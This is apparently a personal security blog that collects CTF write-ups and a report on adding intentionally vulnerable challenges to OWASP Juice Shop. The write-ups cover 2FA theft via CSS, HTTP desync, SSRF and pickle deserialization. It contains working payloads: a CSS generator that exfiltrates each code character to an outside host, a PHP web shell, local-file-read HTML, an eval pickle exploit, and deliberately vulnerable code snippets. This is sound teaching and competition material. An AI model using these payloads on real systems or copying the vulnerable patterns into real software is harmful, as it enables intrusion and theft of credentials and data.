To get the idea of how many tags are there, we can use the :nth-of-type CSS pseudo-class:

/* Selects every fourth <input> element with value "s" 
   among any group of siblings */
   
input[value="s"]:nth-of-type(4){
    background-image:url("https://tunnel.shoebpatel.com/?its-4th-child");
}

This will only fire if there are 4 consecutive or more input tags in a parent element.

We find out that there are 7!

So we can picturize the 2FA code page as following HTML:

<html>
   <body>
      <div>
         <input value="1">
         <input value="2">
         <input value="3">
         <input value="4">
         <input value="5">
         <input value="6">
         <input value="7">
      </div>
   </body>
</html>

So wrote a quick python script from above observations that generates payload CSS file which will exfiltrate the values from all of tags at once and will tell us the sequence of their occurrence too.

# $ python ./css_exp.py

#2FA gotta be Alphanumeric
alpha_num = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
exploit = ""

#For each of 7 input tags
for pos in range(1, 8):
  pos = str(pos)
  #For each alpha numeric character
  for char in alpha_num:
    exploit += '''input[value="'''+char+'''"]:nth-of-type('''+pos+'''){
    background-image:url("https://tunnel.shoebpatel.com/?position='''+pos+'''&char='''+char+'''");
}\n'''

with open("2fa-exploit.css", "w") as file:
  file.write(exploit)

As soon as we send our 2fa-exploit.css, we get 7 hits:

Assembling them in sequence gives us the 2FA code: RT8i1EC

And, Pwned! 💣

We finally get the message that we completed the challenge and the PoC Flag🚩:
\^FLAG\^736c635d8842751b8aafa556154eb9f3\$FLAG\$ 🤘

The End

Thanks for reading, I tried as much as I could to make this a short read without missing details and the rabbit holes that I followed. I wanted to showcase all of my depth-first approaches but at the time of writing this up, already some days have passed and I forgot some of them. I hope you enjoyed reading it as much as I loved solving this challenge.

- CaptainFreak

DefCon CTF Quals 2020 - HTTP Desync between HAProxy & Gunicorn

Shoeb Patel — Mon, 18 May 2020 07:49:56 GMT

DefCon 2020 CTF Quals

A CTF by Order of the Overflow.

The CTF had a web challenge, uploooadit which I quite liked due to my affection towards the attack of HTTP Desync.

The Challenge

The Flask application (app.py, store.py) given had two endpoints:

1. POST /files/

The endpoint was used to save plain-text files to the blob storage. It took Content-Type: text/plain and a custom header X-guid containing an id, an identifier for the files to fetch them later. A valid request looked like this:

2. GET /files/

Provided the valid guid, we get to fetch our saved file with this endpoint:

0. Invalid request

And if we send an invalid request to the invalid endpoint, we reveal the frontend HTTP server being used:

So we have a Frontend Server haproxy 1.9.10 and a backend app is written in Flask which is served by the Gunicorn WSGI.

After the usual assessment, the simple scenario and code leaves us with only the situation of testing it for HTTP Desync between HAProxy and Gunicorn.

The Desync can only help us in poisoning the sockets of the backend server, But if we assume that there can be a Bot that is hitting the backend server in intervals with the flag in it’s HTTP request, then the whole scenario starts making sense.

But first, let’s get the HTTP Desync working. The piece here by Nathan Davison came in handy.

As it turns out, the combination of HAProxy and Gunicorn is Vulnerable to CL-TE HTTP desync, what we mean by that is, we can send the Content-Length(CL) and Transfer-Encoding(TE) together but if we malform the value of Transfer-Encoding a little bit by pre-pending non-printable character like “\x0b” (vertical tab) or “\x0c” (form feed), HAProxy will ignore the header and give precedence to CL header but when this is passed to Gunicorn it will parse the TE header correctly and give precedence to that, So if we send a Raw Request like following:

As the HAProxy parses

Content-Length: 187                                                    
Transfer-Encoding:\vchunked

It only considers the CL header and sends the second request as the body to Gunicorn

But when the Gunicorn parses the TE header, It breaks the above raw request in 2 POST requests.
One of which is normal and complete request till the 0 byte chunk of Transfer-Encoding and where the second request is our poison for the TCP socket which has Content-Length: 385. The Gunicorn will wait for the next HTTP/TCP packet till the length of 385 is reached.

And as we had assumed, what if we had a Flag BOT which submits HTTP request to the backend after some interval, we can steal its request by making it fall after our poison if it does then the raw HTTP request by the BOT will become our Poison HTTP request’s body and will be perfectly stored through POST /files endpoint for us to steal through GET /files/2aaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
Let’s check it out :)

The Exploit request with Transfer-Encoding:\vchunked

And we get the the flag 🚩at GET /files/2aaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

HTTP Desync is quite fun and prevalent considering the modern architecture that web apps are built on these days.
It was a fun challenge. Definitely some rabbit holes followed in previous CTFs on HTTP Desync helped me out in solving this one in minutes.

On another note, I play for UnderDawgs, if you are looking for a team and are a nerd for maths, crypto, and reversing, please hit us up.

「低い可能性はゼロではないことを意味します」
CaptainFreak

FireShell CTF 2020 Write-up

Shoeb Patel — Mon, 23 Mar 2020 02:45:01 GMT

FireShell 2020

A CTF by FireShell Security Team.

UnderDawgs performed well as a team in this one. 😎

CTF Writeup

I mainly focused on Web, Misc and Recon challenges during the CTF.

1. URL to PDF

The service was making PDFs of webpages at a given URL. Hence we have a scenario of SSRF here. Confirmed the SSRF and the User-Agent involved in PDF making using Burp Collaborator.

So we now know that [WeasyPrint 51](http://weasyprint.org/) is being used in the Backend.
I was aware of the awesome research on PDF generators by @nahamsec and @daeken.
But just somehow ignored revisiting it :( and forgot that they had mentioned about weasyprint. I directly started scouring Documentation, found some interesting things like this and fuzzed around them and nothing worked. I even fuzzed with Javascript and later got to know that it does not support JS at all.
Digging more deep in documentation gave this interesting functionality

Attachments are related files, embedded in the PDF itself. They can be specified through <link rel=attachment> elements to add resources globally or through regular links with <a rel=attachment> to attach a resource that can be saved by clicking on said link. The title attribute can be used as description of the attachment.

It says that we can use anchor and link tag to embed files as an attachment in generated PDFs and attachments can be fetched from a PDF easily. Fuzzed a bit and got the following code working to read local files :)

<!DOCTYPE html>
<html>
<head>
<title>Captain</title>
</head>
<body>
<a rel='attachment' href='file:///etc/passwd'>
</body>

This will embed /etc/passwd in the generated pdf and we can extract it easily. It worked.
Now I should be able to read the flag at file:///home/ctf/flag as this is the location of the flag mentioned by admins. Nope, I tried for hours to read and downloaded multiple PDFs, fuzzed with more methods and the flag was at file:///flag. (╯°□°)╯︵ ┻━┻

2. CaaS

Compiler as a Service.
It was taking valid C/C++ code, compiling it and giving us binary as downloadable.
This was supposed to be easy but my overthinking programmer mind wanted to explore without even using the service first.
I started searching for ways to read and retain files in the binaries at compile time. All the ways seemed tuff.
I came back to service and saw that the compile-time errors were too verbose and were returned back to us.
This means if we let it #include an invalid header file, we will get the content of the line where the error happened. A good candidate is /flag file which has only one line and that too is not valid C code. Done!

#include "/flag"

3. wfPM

Work force and Program management. The challenge author tried quite well to hide what this product was. But upon several observations on cookies and JS files, I found out that this was qdPM v9.1.
This has several CVEs. The Post-RCE and info disclosure ones looked interesting.
The RCE was in User profile picture upload functionality and it was a good candidate to read local flag file but we need a legit account on the app first and there was no visible signup feature. I tried replacing /index.php/login with /index.php/signup and index.php/register etc. but no luck there.
For some time I thought of somehow using Info disclosure CVEs to disclose already present accounts.
The SQL error logs from this info disclosures were hinting towards 0-Day SQli (as this is an obscure PHP app) Followed that rabbit hole for a while.
Then my team-mate @Behroz easily got logged in to the app and was asking doubt and sharing screenshots of Post-Login dashboard, I was like WTF 🤔 (when did he became so 1337), how did he get logged in successfully. He shared that the Author has created backdoor signup at /regiter.php and hinted about it in /robots.txt :) Lol.
This is where even Top 10 teams were stuck! Nobody did basic Recon.

Signed up and uploaded shell.php in profile picture:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

The backend was checking for the file extension, bypassed it with shell.php.png.

4. Screenshoter

The author gave a webpage screenshotting tool as a service.
This is similar to URL to PDF, It was URL to PNG.
Screenshotted my Burp collaborator endpoint and got to know that they were using PhantomJS to generate web page screenshots. :)

Now unlike WeasyPrint client, PhantomJs supports JS execution in webpages. Used following JS to read local file:

<!DOCTYPE html>
<html>
<head>
<title>Captain</title>
</head>
<body>
<script>
flag=new XMLHttpRequest;flag.onload=function(){document.write(this.responseText)};flag.open("GET","file:///flag");flag.send();
</script>
</body>
</html>

Another simple Sanity check challenge was related to social media recon, A QR code containing Flag in an image was upload to all the social media channels of the FireShell team.

Writeups by Team-mates

Cars - Android Challenge - by @pwnchief - Link
Coming Soon ..

P.S. UnderDawgs placed 25th.

During this CTF, I learned a lot by following rabbit holes.
Excited to UpSolve the unsolved challenges 😋.
Coming to know that every other CTF has a different vibe and learning opportunities.

Previous CTF by p4 team taught that good teams don’t keep anything purposeless in a challenge, everything can be used in them. WriteUp here.

Progress, not Perfection,
CaptainFreak

Facebook's BountyCon 2020 CTF Writeup

Shoeb Patel — Fri, 31 Jan 2020 10:22:59 GMT

BountyCon2020

BountyCon is an invitation-only application security conference arranged by Facebook annually in Singapore for the BugBounty Community of Asia-Pacific region.

For more information about it, check here.

BountyCon2020 is the second edition. I was lucky enough to win an all-sponsored invitation from Facebook to attend the last edition and it was just an amazing experience filled with lots of hacking, knowledge sharing, traveling around Singapore, networking and hacking discussions over food and drinks with fellow bug bounty hunters and talented hackers from all over the world. It can’t get better than that for a Hacker.

Shoutout to Hackers who made that trip a memorable one. Prateek Tiwari, Bhavuk Jain, Rahul Maini, Pranav Hivarekar, Anand Prakash and everyone else from Indian Bug Hunters Community.

To get an invite, one has to top the leaderboard of BountyCon CTF.

CTF Writeup

Following is a writeup for a challenge that I really liked solving and learned some new things in the process.

1. Tick-Tock

This was a white-box challenge around a python library. Code for an AWS lambda function was given which was vulnerable to arbitrary unpickling of Python Objects through pickle serialization library.

class Epoch(object):
    def __init__(self, timestamp):
        self.ts = timestamp

epoch = Epoch('{:d}'.format(int(time.time())))
cookie = base64.b64encode(pickle.dumps(epoch))

The possible arbitrary code execution exploitation of pickle library was shut down by use of Lambda’s function shield which would block all the read, write, outbound connectivity and child process creation attempts.

function_shield.configure({
    "policy": {
        "outbound_connectivity": "block",
        "read_write_tmp": "block",
        "create_child_process": "block",
        "read_handler": "block"
    }
})

The flag for the challenge was in a globally initialized variable.

Pseudo-Code of the execution was like the following:

If cookie is not set:
    - Initialize an Object of Epoch class with the timestamp.
    - Pickle this Object and set it as a cookie.
    - Send the response with an empty body.
Else:
    - Unpickle the cookie value.
    - Get the timestamp value from the cookie.
    - Send a page with HTML which shows timer using this timestamp variable.

So in a nutshell, whatever gets assigned to the timestamp variable of Epoch Class gets reflected into the HTML source. This was the trick to solve the challenge. We somehow had to trick the code into initializing the reflection with the flag variable and we had unpickling as a way to do it.

To arrive at the following solution, I scoured through the original documentation of pickle docs.

class Epoch(object):
    def __init__(self, timestamp):
        self.ts = timestamp
    def __reduce__(self):
        return (eval, (('Epoch(flag)'),))

def lambda_handler(event,con):
    epoch = Epoch("31337")
    cookie = base64.b64encode(pickle.dumps(epoch))
    
    return {
        'statusCode': 200,
        'Exploit-Cookie': cookie
    }

To manipulate it, we have the __reduce__ method which will govern the object creation upon successful unpickling. The above code returns a tuple with the first argument being the callable and second being the argument. The result of unpickling the pickled byte-stream of the above class’s instance will be eval('Epoch(flag)') getting executed and the result of eval getting directly returned.

In this case, it will be an instance of Epoch class getting initialized with flag variable and the variable containing flag string will get reflected into the HTML by the following code.

epoch = pickle.loads(base64.b64decode(
    event['multiValueHeaders']['cookie'][0]))
return {
   'body': clock_page(epoch.ts)
}

So with our exploit, it will indirectly mean,

epoch = Epoch(flag)

In this way, we successfully get the value of the flag variable in the ts class variable.

Following are the challenges that were not much exciting compared to tick-tock:

2. Lighthouse

Challenge had an android app. Upon reversing and analyzing the apk, It was clear that the app is taking flag string from native code, changing it to morse code string and using it to light the flash of the phone.
I had multiple ideas to solve it but I solved it by using a C++ tool which converts a video to morse code. I was not very sure that it was good enough to detect the morse code from the video stream of phone flash But I gave it a try anyway, The code is outdated and hence it was not getting compiled, made some tweaks to the C++ code so that it should compile. I recorded a video of phone flashing and fed it the compiled binary. It worked like a charm.

3. Shake it

This also was consisting of an android app. As its name suggests, It was counting down the 10 million shakes of the phone and upon completion of those many shakes, it would reveal the flag string stored in native code.
Decompiled the apk using apktool.

$ apktool d shake-it.apk

updated the smali code which was initializing this counter of 10 mils. to 10.

0xF4240 -> 0xA in the MainActivity.smali

 // In MainActivity.smali
.field private static final TARGET:I = 0xF4240

  			to

.field private static final TARGET:I = 0xA

Built the apk again.

$ apktool b shake-it -o shake-it-modified.apk

Self-signed it.

$ keytool -genkey -v -keystore key.keystore -alias self -keyalg RSA -keysize 2048 -validity 10000

$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore shake-it-modified.apk self

Installed the apk and shaken the phone ten times, got the flag!

4. Who’s Sequel

This challenge had a login form. Upon fuzzing it was clear that it was vulnerable to Blind SQLi. Dumping the table using SQLMap revealed the flag in the last row of one of the tables.

5. Heart of Stone

The Challenge name and Server header in response gave away the hint of HeartBleed (CVE-2014-0160), Exploited and read the memory containing the flag.

Due to work and other stuff, I don’t get much time to participate in CTFs for fun. But I recently formed a CTF team, UnderDawgs with Rudra and Arbaz and we are actively looking for people experienced in Pwn, Crypto and Reversing CTF challenges. If you think you can contribute to the team, Please reach out.

Thanks for reading.

Hack the Planet,
CaptainFreak

CaptainFreak Experience #1 - HacktoberFest 2018

Shoeb Patel — Sat, 20 Oct 2018 17:57:10 GMT

Oh hello there, It’s your friendly neighbourhood hacker again :)

This raw post is supposed to be a documentation of my experiences in contributing to some of my favorite open source projects for HacktoberFest 2018.
Along the way I will try to give insights on how I did it, Expecting it might help someone kickoff and start learning from contributing to FOSS.

HacktoberFest 2018

Let’s start this with gentle introduction to purpose behind all of it. HacktoberFest (Hack + October + Fest) is an yearly celebration by Github for luring people into contributing to FOSS.
Github and sponsors of HacktoberFest offer a pretty T-shirt as swag to people who complete HacktoberFest challenge of submitting 5 non-spam Pull Requests to any of the FOSS project on Github. Well you can easily submit BullShit PRs and get that Github Swag as can be seen very clearly (〜￣△￣)〜

Top HacktoberFest Repositories

HacktoberFest’s swag is too pretty to be earned like this and also one shouldn’t miss on such good opportunity to learn and feel proud by contributing to the communities favorite projects. ¯\(ツ)/¯

Ok with all the ranting out of the way :P, lets get over with it.

GitDump

I started of small with contributing to a simple project which aims to be a plug before merging a PR commited with secret credentials(API keys, token, passwords etc) of third party service. If this commit histories with valid credentials are mined by an adversary, it can cause massive breaches/compromises and hence a hell lot of trouble for organizations. Small but useful script, enhanced it with some more keywords to look for.
PR : Link

Reconnoitre

As its description says, “A security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing”. In a nutshell its a tool written in python to automate information discovery, more relevant on OSCP lab machines. Initially I wanted to contribute to its core functionality but ended up contributing a standard setup module.
PR : Link

NoSQLMap

Again its a python tool to automate detection and exploitation of NoSQL Injection Web Attack. Previously I had used it for checking my own written vulnerable code and even though its pretty robust tool, It wasn’t able to detect the context of injection which my code had. I had decided to someday contribute and enhance it to detect the injection in this context. What’s better time than HacktoberFest for this :). Looked into it again and found that it was getting stuck in some trivial loop before firing payloads. Fixed this bug and further will be trying to enhance it with some payloads.
PR : Link

Subfinder ♥

This is one of those tools which I or any of the hunters out there can’t live without. Respect 100. It’s a subdomain enumeration tool with tons of relevant and reliable passive sources of domain discovery and also bundles in bruteforce engine, resolvers etc. I was supposed to be contributing to it from its initial days but due to my incompatibility with Golang and other commitments, I couldn’t. But took a strike at it again with hacktoberfest. Took a hurried look over Golang for an hour and I was ready to contribute as it is very well structured tool with lots of modularity and it made me focus on logic flow instead of worrying about syntactic unfamiliarities. I added another passive source called Urlscan.io to it.
PR : Link

Metasploit ❤❤

Oh this tool should not require any introduction because that would be disrespect to it. But still for you suckers who don’t know, It’s a de facto penetration testing framework written in Ruby with 539+ payloads ready to shoot with 1800+ publicly disclosed exploits with 40+ encoders. Frameworks are meant to make the things easy, and I can’t think of another framework which beats Metasploit in that regards. Over that its very very well written, designed and structured piece of software with an extensive contribution guide. One of the best open source project and community. I can just go on and on praising it <3

I had used metasploit in the past but not very extensively and had not enumerated it’s all features. Still being naive, directly jumped into its massive codebase :P. I had not even written a simple Ruby program of puts "Hello Ruby" before. As expected failed miserably to understand it’s internals. Started off again from enumerating metasploit and learning Ruby. After that it was relatively clear. Found a simple issue of adding enhancement of TCP protocol to its SNMP Login Scanner along with its implementation of UDP. Learned a lot about project’s core, Ruby, SNMP, its use and its significance in information gathering for pentesting networks. Metasploit community is very strict regarding merging PRs, I guess it will take a lot of polishing before my PR gets ready to merge as it’s my first one.
PR : Link

Ok, that’s it folks. It was very less time for such challenge to be completed but I tried, Maybe I could have tried harder. Anyway, October is still young. I would suggest to contribute to FOSS, earn knowledge and a bonus T-shirt with it. If you are not able to understand any of the mentioned things go to this Magical Link. I am still a script kiddie 😇 hence if you feel something is erroneous/inaccurate, feel free to comment below.

Shoutout to @hdmoore, @sinn3r, @Ice3man, @codingo_, @prateek, @rahuldhawan291, @manasmahapatra for all these awesome projects and help.

Cheers to Hackery and Growth,
CaptainFreak

Google Summer of Code 101

Shoeb Patel — Sat, 18 Aug 2018 02:58:15 GMT

Google Summer of Code 101

Google Summer of Code or famously known as "GSoC" is an initiative by Google to enhance the Open Source culture and projects. Open source softwares are at the core of every thing related to computer science. If you are a computer science student and are not using any open source tool/application/software/framework/platform/library and language then there’s something really wrong with you. Even though the importance of open source projects being gigantic, most of this projects are made out of hobby or fun by their respective project leads, and as there is no direct incentive of monetization of this projects they lack the pace of development like proprietry or enterprise softwares. To eradicate this, every year Google organizes the GSoC underwhich the potential(which have better impact and use-case) open source projects and students work for enhancing the projects.

As you can see, its a great initiative where you being a student contribute to some great project which actually enhances people’s lives, productivity, pace of invention and makes this world a better place. LOL !

                                                           - Classic Gavin Belson (Silicon Valley, HBO)

Note : Do yourself a favour and watch Silicon Valley and Mr.Robot if you havent already.

Every year thousands of student apply for GSoC from around the world and only nearly a thousad student(1,264 in 2018) get accepted. Lots of Competition. There was’nt any proper guide when last time I checked which elaborates on how to properly apply and maximize the chance of acceptance. As I have completed GSoC 2018 succesfully, I have some insights to share.
If you are planning to apply for GSoC or don’t have anything productive to do right now, Read along :)

Prerequisites

1.Proper knowledge of any VCS(Version Control System)

Mostly projects use git as their primary VCS and Github or Bitbucket as their VCS hosting service, so I would recommend learning Git and collaboration on Github.

2.Any one of the following language

C,C++,Python,Java and Javascript.
Projects which use other languages are also present but for a fresher this are the easy and manadatory ones to know. Also if you know more languages you will have more options to choose from.

3.Couple of relevant personal open sourced projects (not mandatory, but why not ?)
4.Hunger for knowledge ¯\(ツ)/¯

Prereparation

Before even thinking about applying to GSoC you should be using atleast some open source software and must have interest in some sub-field (Machine/Deep learning, Artificial Intelligence, Algo-DS, Operating Systems, Database Systems, Networking, Security, Development etc.) of computer science. The below preparation must start before 2-3 months of official GSoC start date.

Head over to previous year’s GSoC Archives (These projects are most likely to come again) and search for the project/organization you would like to contribute to according to your interest.
Use the software as normal user is supposed to and enumerate each and every way of using it.
Align your learnings of tech stack and knowledge as required for that project or preferabely choose the one that aligns with yours.
Head over to that project’s source code repository, setup the Dev-environment, read the docs and other relevant material extensively.
Get totally familiar with source code(will be initimidating at first but can get really easy if you do second step thoroughly).
Contact the project lead/Community on given communication channel, ask them doubts, bugs to fix, feature enhancements etc.
Ask them to assign any task to you.
Start Contributing.

Application

After selected organizations get announced(mostly in month of February) and if your selected projects and organizations are there then no worries as at this point of time you would have contributed much to the project. If they aren’t then start the preparation for the selected ones again.
Applying to GSoC consists of writing a detailed proposal of your project which highlights the purpose of project, each and every enhancement you will add during coding phase of GSoC and reasons that make you fit for the project. This needs not to be in some formal format but also should not be very informal. Proposal writing can be daunting and hard if you have not done the proper preparation as mentioned above and will not reflect the experience. This will lead to project rejection very easily. In my case the application phase of GSoC was just a formality because I had contributed and had bonded with the community of my project in a very good way. Also there aren’t many successful proposal templates shared openly. If you are not able to decide the structure of your proposal, you can have a look at mine here.

Learnings

Learnings during GSoC can vary person to person depending on their prior experience. But for me the learning and experience gain curve was very steep. The software development concepts like Test writing, Collaborated developement, working with large code-bases, Maintainable coding etc. are not just concepts for me anymore as I had thorough hands-on. Also the computer science/technology concepts on which your project is based on will become your expertise. ;)

Perks

Mention of successful completion of Google Summer of Code on your resume depicts that you know how to work on codebases of softwares which have actual user bases unlike the personal projects. GSoC is much more prestigious than internship in any low tier startup/company. So I would recommend to students of freshmen and sophomore year to apply for GSoC. Its a win-win situation for everybody involved. Students get valuable experience and hepty stipend. Open Source projects get enhanced. Google’s incentive of making this world a better place LOL X) gets completed.

If you haven’t already read my GSoC project report, read it here.

Hope you picked up some tips ¯\(ツ)/¯
Keep Contributing, Keep Hacking !
CaptainFreak

OWASP Juice Shop : Challenge Pack 2018 (GSoC project report)

Shoeb Patel — Sat, 04 Aug 2018 18:33:29 GMT

OWASP Juice Shop Challenge Pack 2018

This post is supposed to be a report of work done under the project “ChallengePack 2018” of Juice Shop which I did as Student Developer at OWASP as part of Google Summer of Code 2018. For those who are unaware of what Juice Shop is, please do check it out. Its an intentionally kept vulnerable web application which aims to be a learning/practising resource for Web Developer as well as Web Security Enthusiasts. Instead of just making a dry report I will try to document the things that I learned while completing each task that was proposed. I hope it will benefit the future contributers/GSoC students of Juice Shop/WebDevelopers/Hackers as a documentation and will hold the information about what has been happening to Juice Shop over the course of Summer 2018. I will also show exactly which lines of code were made vulnerable to introduce each challenge. Before hand I would like to say that I am still a noob 🤷‍ and have no expertise in WebSecurity and Web Development, So if you feel that something is incorrect then I am totally open to positive criticism. Please comment your thoughts below :). So without further ado, Lets get this started.

Under Google Summer of Code 2018, Juice Shop had two projects, One was my Challenge Pack 2018 whose work is under gsoc-challenges branch and other project was Frontend Upgrade by @Aashish whose work is under gsoc-frontend branch.

Tests For “Old-School XSS” Challenge

Previously (Before start of official coding phase of GSoC), I had designed and added the functionality of tracking user orders and challenge of “Reflected XSS” around it but Unit, Integration and E2E tests for the functinality and challenge were remaining because I was not very good at the test writing technologies of Juice Shop. This PR took quite a lot of time to get complete and merge but along the way I learned about those technologies and purpose of writing tests.

Link to PR : XSS Challenge Tests

“Lateral Privilege Escalation/Insecure Direct Object Reference” Challenge

Although Juice Shop is meant to be fully vulnerable, this bug was unintentinal one and was reported by another user in an issue. Any user was able to post product reviews as any user. The challenge got designed as to post a forged review as another user. It was kind of reassuring to see that even security aware developers can write vulnerable code and vulnerabilities will be always out there.

Link to PR : Forged Review
Vulnerable Code-Snippet :

module.exports = function productReviews () {
  return (req, res, next) => {
  // No check of object ownership :)
    db.reviews.insert({
      product: req.params.id,
      message: req.body.message,
      author: req.body.author,
      likesCount: 0,
      likedBy: []
    }).then(result => {
      res.status(201).json({ staus: 'success' })
    }, err => {
      res.status(500).json(err)
    })
  }
}

“Vulnerable Node Module” Challenge

Node ecosystem heavily relies on node modules and a lot can go wrong if the modules you are using are vulnerable and outdated. This challenge got designed around the recent vulnerability disclosure called Zip-Slip. Archive extraction packages which are used for unzipping archives were allowing arbitrary file write at server-side. I added functionality of Multiple complaint submission through archive upload and designed the challenge of overwriting an important file of the Juice Shop. The hurdle we came upon was to properly sandbox this so that people using Juice Shop over local instance don’t overwrite the important files of their own system by mistake as crafting payload archive for this can result in mistakes because of black-box scenario. I solved it by checking absolute paths of files before extraction.

Link to PR : Vulnerable node module
Vulnerable Code-Snippet :

"dependencies": {
    "unzipper": "0.8.12"
  }

“Tier 3 NoSQL Injection” Challenge

Juice Shop uses MarsDB as its NoSQL Database. After implementing the challenge of getting orders of all the users, I got quite a context about how and where this bug can happen in NoSQL Databases in general.

Link to PR : NoSQLi Tier 3
Vulnerable Code-Snippet :

db.orders.find({ $where: "this.orderId === '" + req.params.id + "'" }).then()

“HTTP Parameter Pollution” Challenge

HPP vulnerability primarily depends upon the reqest body parsers. In the case of Juice Shop, JSON parser was the default one which just takes the value of last paramater present. To implement this challenge I used different parser specifically for this challenge. Scenario of the challenge was very typical where the first occurance of paramater was used for validating but the value was taken for use from last occurance of the paramater in POST JSON body. Challenge was to succesfully edit other user’s basket.

Link to PR : HTTP Parameter Pollution
Vulnerable Code-Snippet :

if (user && basketIds[0] && basketIds[0] !== 'undefined' && user.bid != basketIds[0]) { // eslint-disable-line eqeqeq
  res.status(401).send('{\'error\' : \'Invalid BasketId\'}')
} else {
  const basketItem = {
    ProductId: productIds[productIds.length - 1],
    BasketId: basketIds[basketIds.length - 1],      // Using value from second occurance bypasses the validation
    quantity: quantities[quantities.length - 1]
  }
  const basketItemInstance = models.BasketItem.build(basketItem)
      basketItemInstance.save().then((basketItem) => {
        basketItem = {
          status: 'success',
          data: basketItem
        }
        res.json(basketItem)
      }).catch(error => {
        next(error)
      })
}

“JSONP/XSSi” Challenge

Even though Juice Shop doesn’t have an actual use case for JSONP because it is just one application running on single domain but for making it a complete learning resource, I added JSONP on an endpoint which returns user’s personal information wrapped up in a function whose name is decided by a GET parameter called callback. The challenge was to guess/bruteforce for this JSONP endpoint.

Link to PR : JSONP
Vulnerable Code-Snippet :

module.exports = function retrieveLoggedInUser () {
  return (req, res) => {
    const user = insecurity.authenticatedUsers.from(req)
    const response = { user: { id: (user && user.data ? user.data.id : undefined), email: (user && user.data ? user.data.email : undefined) } }
    if (req.query.callback === undefined) {
      res.json(response)
    } else {
      res.jsonp(response)
    }
  }
}
}

“Race Condition/Timing Attack” Challenge

This was my favorite challenge to implement because of its complexity and unavailability in any other vulnerable application (as far as I know). Juice Shop can not have race condition bug naturally because it uses MarsDB and it has no reason of having that much observable latency. So we had to add that artificially. Vulnerability and Challenge structure was like following :

Link to PR : Race Condition/Timing Attack
Link to Vulnerable Code-Snippet :

https://github.com/juice-shop/juice-shop/pull/617/files#diff-fb4c8fba3911529be7878d2553b1fed1

“Mass Assignement” Challenge

Mass assignment Vulnerability is very prevalent in web technologies where request’s body is mapped to objects directly using some library etc. In Juice Shop the users can become admin while signing up by adding an ingeniosly guessed extra parameter called isAdmin by looking at reponses. which gets mapped to database column without any check and users get admin privileges.

Link to PR : Mass Assignement
Link to Vulnerable Code-Snippet :

https://github.com/juice-shop/juice-shop/pull/629/files#diff-45182e43f88790a0b1fdc8479ebb66b1

“Exploit Chain 1” Challenge

From the start I wanted to add a cool vulnerability chain in the Juice Shop. The exploit chain was supposed to be a chain of Login CSRF paired with Self XSS where XSS payload was sent through True-Client-IP header. But due to Juice Shop’s solution checking mechanism and standalone nature, We decided to convert the chain to simple XSS.

Link to PR : Exploit Chain 1
Vulnerable Code-Snippet :

$rootScope.lastLoginIp = $sce.trustAsHtml(user.lastLoginIp)

As you can see, Even adding XSS intentionally in angular apps is tough. So my advice to all hunters, As soon as you see target is using angular, stop spraying XSS payloads.

“Server Side Template Injection” Challenge

This was one of my another favorite challenge to add. Initially Juice Shop used Client side rendering and was totally secure to SSTi. For adding this challenge I added the user profile page which was rendered using the jade template engine. Username field was made vulnerable to SSTi. SSTi is basically RCE for modern application which use Server Side template engine. To make this new RCE bug more cool, @Jannik suggested a very cool challenge around it which involved exploiting this RCE to infect the Juice Shop server with malware. Yep 😎 !

Link to PR : Server Side Template Injection Yet to be merged.
Vulnerable Code-Snippet :

templateString = templateString.replace('usrname', user.dataValues.username)
var fn = jade.compile(templateString)
res.send(fn(user.dataValues))

“Server Side Request Forgery” Challenge

SSRF is a critical vulnerability if attacker is able to pivot into internal network of the target. As Juice Shop being a standalone application, doesn’t have it. So a very basic version of SSRF was implemented around the functinality of image upload using URL. The challenge gets solved when you request a hidden resource of Juice Shop server. The hidden resource is supposed to be obtained from the malware of SSTI challenge 😁.

Link to PR : Server Side Request Forgery Yet to be merged.
Vulnerable Code-Snippet :

module.exports = function profileImageUrlUpload () {
  return (req, res, next) => {
	  	var url = req.body.imageUrl
		request
		.get(url)   // Requesting without any check
		.on('error', function (err) {
		console.log(err)
		})
		.pipe(fs.createWriteStream('frontend/dist/frontend/assets/public/images/uploads/' + loggedInUser.data.id + '.jpg'))
	}
    res.location('/profile')
    res.redirect('/profile')
}

Abandoned/Postponed Challenges

ImageTragick Challenge
The reason behind abandoning this challenge was that it required a vulnerable imagemagick binary to be installed on users personal system which might cause big concerns regarding safety of users systems.
Angular Template Injection Challenge
Facebook Oauth Challenge
I planned to add this challenge as soon as the SSTi-SSRF PR gets merged.

Miscellaneous

Apart from working on challenge pack, I also helped fix some of the broken functinalities after the major merging of Frontend Upgrade project into Challenge Pack. This was quite time taking as only @Aashish knew about the new frontend codebase. But this frontend technology upgrade was very much required for Juice Shop as it aims to properly be like modern JS web applications.

Contributions before official start of GSoC-2018

Hope you learnt something new after reading this. If you haven’t already read my Google Summer of Code 2018 blog then please read it ☝.
I had very good learning experience while working for OWASP Juice Shop. I will recommend every student who loves web security and developement to contribute to the Juice Shop Project.

Thanks for reading the blog post.
GodSpeed and Happy Hacking 😎.

Shoeb Patel

Automata: A General-Purpose Automation Platform

Introduction

Lessons From the Past

📄 Local Scripts

📸 Montage - The Handcrafted ASM Tool

🧩 Automata - A proper way to automate anything!

vBeta Demo

Conclusion

How Flipkart Reacts to Security Vulnerabilities

The Secret Parameter, LFR, and Potential RCE in NodeJS Apps

TL;DR

#BugBountyTip💰

Details

Challenge Solution

Secret layout parameter

Source (Line 3):

Definition of res.render in ExpressJs. Link

Definition of req.app.render in ExpressJs. Link

view.render in ExpressJs. Link

Sink: Instantiation in hbs. Link

RCE 💣

Fix 🤕

Prototype Pollution!

HackerOne-2006 CTF Writeup

HackerOne-2006 CTF Writeup

Index

Initial Recon

Exposed .git directory

Login 2FA Bypass

Server Side Request Forgery

Android Challenges

API + OSINT

Privilege Escalation

Stealing Payment 2FA Code using CSS

CSS can Compute!

The End

DefCon CTF Quals 2020 - HTTP Desync between HAProxy & Gunicorn

DefCon 2020 CTF Quals

The Challenge

1. POST /files/

2. GET /files/

0. Invalid request

FireShell CTF 2020 Write-up

FireShell 2020

CTF Writeup

1. URL to PDF

2. CaaS

3. wfPM

4. Screenshoter

Writeups by Team-mates

Facebook's BountyCon 2020 CTF Writeup

BountyCon2020

CTF Writeup

1. Tick-Tock

2. Lighthouse

3. Shake it

4. Who’s Sequel

5. Heart of Stone

